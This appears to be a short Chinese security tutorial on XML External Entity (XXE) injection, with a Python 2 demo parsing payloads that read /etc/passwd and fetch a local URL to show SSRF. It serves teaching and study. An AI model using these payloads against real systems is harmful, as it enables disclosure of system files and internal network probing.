xxe就是xml实体注入,先稍微就说一下XML entity:
entity翻译为”实体”。它的作用类似word中的”宏”,也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档中多次调用,或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity,在XML文档中使用;另一种是参数entity,在DTD文件中使用。
借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
这里是一个Python的demo
# coding=utf-8
import xml.sax
x = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
"""
x1 = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8005/xml.test" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
"""
class MyContentHandler(xml.sax.ContentHandler):
def __init__(self):
xml.sax.ContentHandler.__init__(self)
def startElement(self, name, attrs):
self.chars = ""
def endElement(self, name):
print name, self.chars
def characters(self, content):
self.chars += content
parser = MyContentHandler()
print xml.sax.parseString(x, parser)
print xml.sax.parseString(x1, parser)
xml.test的文件内容是字符串Hello
可以看到两个的回显分别是
其中下面的这个能看到实际请求了这个地址,还可能造成ssrf
其实还有一个demo,可以将读取的文件发送出来,可以用于没有回显的场景下,作者是使用的php,我用Python但是暂时没测试成功,稍后再发出来。
wooyun上现有的典型漏洞